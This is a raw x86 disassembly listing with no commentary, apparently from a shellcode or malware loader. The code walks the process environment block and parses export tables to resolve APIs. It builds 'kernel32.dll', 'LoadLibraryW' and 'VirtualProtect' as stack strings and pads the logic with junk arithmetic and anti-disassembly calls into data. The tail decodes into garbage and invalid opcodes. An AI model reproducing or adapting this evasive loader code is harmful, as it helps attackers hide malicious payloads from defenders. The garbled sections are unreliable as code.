mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push edx
push esi
add esp, 4
sub edx, 0x9612
pop edx
push ecx
add ecx, 0x15b75
add ecx, 0x175d8
pop ecx
push esi
push ebx
add esp, 4
or esi, 0x13641
and esi, 0xb560
add esi, 0xf277
pop esi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x42a64e
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x42a93f
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x42a676
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x42a93f
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x42a6a8
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x42a93f
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x42a6cd
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x42a93f
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x42a727
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x42a933
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x42a797
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x42a849
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x42a849
push eax
push esi
add esp, 4
sub eax, 0x141b5
pop eax
push esi
push ecx
add esp, 4
and esi, 0x14835
call 0x42a7ea
add byte [edi + 0x3c], al
dec ebp
inc eax
xor bh, byte [ebx]
xor eax, dword [ebx + 0x575e04c4]
sub edi, 0x160a5
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x42a83b
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x42a842
jmp 0x42a788
jmp 0x42a849
push eax
sub eax, 0x1345f
add eax, 0x17b6
add eax, 0xd56a
and eax, 0x15057
pop eax
push eax
push ebx
add esp, 4
sub eax, 0xe88
xor eax, 0xf1cc
sub eax, 0x17f69
pop eax
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x42a8a8
mov dword [ebp - 0xc40], 0
jmp 0x42a917
push ecx
add ecx, 0x3525
and ecx, 0x16876
and ecx, 0x3be4
xor ecx, 0x15b3d
pop ecx
push ecx
push edx
add esp, 4
or ecx, 0x4a06
sub ecx, 0x17423
sub ecx, 0x7d9f
pop ecx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x42a90d
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x42a917
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x42a92e
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x42a93f
jmp 0x42a718
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
or ebx, 0xef0e
pop ebx
push edx
or edx, 0x5881
pop edx
push edi
xor edi, 0x163e5
and edi, 0x7a6e
pop edi
push ecx
push esi
add esp, 4
sub ecx, 0x15fb
jmp 0x42a97c
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push ecx
sub ecx, 0x1d3
call 0x42a9a3
add byte [edx], dh
xor ecx, dword [edi + 0x3b]
inc ebp
cmp eax, 0x48413336
add esp, 4
xor ecx, 0x10cc
pop ecx
push eax
jmp 0x42a9b7
and eax, 0x8d9f
pop eax
cmp dword [ebp - 0x3cc], 0
je 0x42a9d0
cmp dword [ebp - 0xa5c], 0
jne 0x42aa16
push eax
push ebx
add esp, 4
add eax, 0x132a9
xor eax, 0x14e0c
pop eax
push eax
push esi
add esp, 4
xor eax, 0x1030b
sub eax, 0xa4f9
pop eax
push eax
sub eax, 0x3100
or eax, 0xfba1
pop eax
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edx
push edx
add esp, 4
and edx, 0x584c
call 0x42aa39
add byte [ebx + edi + 0x44], cl
dec ebp
cmp dword [0xc4834644], edi
add al, 0x81
loop 0x42aa4d
sub dword [eax], eax
add al, ch
pop es
add byte [eax], al
add byte [eax], al
cmp al, 0x49
inc esp
cmp al, 0x34
dec edi
add esp, 4
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edi
push ecx
add esp, 4
jmp 0x42aa8b
pop edi
push ecx
push ebx
add esp, 4
call 0x42aa9f
add byte [ebx], bh
dec esi
cmp dword [0x3b424635], esi
add esp, 4
xor ecx, 0x100b1
jmp 0x42aaae
pop ecx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ebx
push ebx
add esp, 4
xor ebx, 0x9c25
and ebx, 0x7559
or ebx, 0x8e7b
or ebx, 0x10f2e
pop ebx
push esi
push eax
add esp, 4
and esi, 0x13526
pop esi
push eax
xor eax, 0x7c14
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edx
push esi
add esp, 4
jmp 0x42ab7e
pop edx
push ebx
sub ebx, 0x12e2e
xor ebx, 0xa91c
or ebx, 0x3e07
call 0x42ab9f
add byte [ecx], bh
inc ebx
inc edx
dec esi
inc edx
dec ebp
cmp dword [ebx - 0x7ca4fb3c], eax
mov ebp, 0xffffeaf4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2a8], 0
jmp 0x42ae62
push edx
and edx, 0x3927
pop edx
push edi
push ebx
add esp, 4
and edi, 0x146bf
call 0x42ae83
add byte [ecx], bh
inc eax
cmp eax, 0x47364e4a
cmp al, 0x83
les eax, [ebx + ebp*8]
add eax, 0x374b4946
inc edi
add edi, 0xea1a
pop edi
cmp dword [ebp - 0x2a8], 0
jne 0x42b799
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
and ecx, 0x266d
sub ecx, 0x6747
xor ecx, 0xe473
add ecx, 0xfb4b
pop ecx
push eax
push ebx
add esp, 4
and eax, 0xddd4
or eax, 0x11288
add eax, 0x35ed
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
push ebx
add esp, 4
or esi, 0xf15
pop esi
push esi
add esi, 0x1721b
or esi, 0x16d89
xor esi, 0x13af3
xor esi, 0x3c5c
pop esi
push edx
push eax
add esp, 4
and edx, 0x168d0
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x42b039
mov dword [ebp - 0x710], 0
jmp 0x42b2e0
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ebx
or ebx, 0x16095
and ebx, 0x3500
call 0x42b068
add byte [ebx], bh
inc ebp
cmp dword [ecx + 0x39], eax
cmp bh, byte [0x83394a36]
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [ebx + 0x33], al
inc ebx
cmp dword [eax + 0x4b], edx
inc ebp
dec ebx
add esp, 4
pop ebx
cmp dword [ebp - 0xc58], 0
jne 0x42b095
mov dword [ebp - 0x710], 0
jmp 0x42b2e0
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push edx
add esp, 4
add esi, 0x2ebb
jmp 0x42b0b4
pop esi
push eax
push edx
add esp, 4
xor eax, 0x85a8
sub eax, 0xd26c
xor eax, 0x11bd
and eax, 0x13d8c
pop eax
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push ebx
add esp, 4
and esi, 0x11a8c
pop esi
push ebx
push edi
add esp, 4
xor ebx, 0x120bf
pop ebx
push edx
add edx, 0x4311
and edx, 0xc8f8
add edx, 0x11731
sub edx, 0x8cd4
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
or edi, 0xe108
add edi, 0xe3df
add edi, 0x765b
pop edi
push edi
call 0x42b1a8
add byte [0x384e3f47], bh
inc edi
cmp eax, dword [ebx + 0x525f04c4]
push ebx
add esp, 4
sub edx, 0x17df6
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x42b1d5
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x42b22f
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x42b0fd
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x42b0fd
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x42b219
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x42b223
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x42b278
push ecx
push ebx
add esp, 4
and ecx, 0x17ca
xor ecx, 0x4c5b
jmp 0x42b251
pop ecx
push eax
push edx
add esp, 4
and eax, 0x71d5
sub eax, 0x771a
xor eax, 0x2b51
pop eax
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x42b2e0
push ecx
push ecx
add esp, 4
call 0x42b28b
add byte [edi], bh
inc edx
inc edx
dec esi
dec edx
xor al, 0x4c
add esp, 4
xor ecx, 0x54f4
call 0x42b2a0
add byte [ecx + ecx*2], dh
xor al, 0x44
inc eax
xor al, 0x83
les eax, [ecx + eax*4]
rcr dword [esi + 0x5900005e], 0x8b
test dword [eax], ebx
sti
invalid
push ecx
push edx
add esp, 4
sub ecx, 0xbe6
pop ecx
push ebx
push eax
invalid
invalid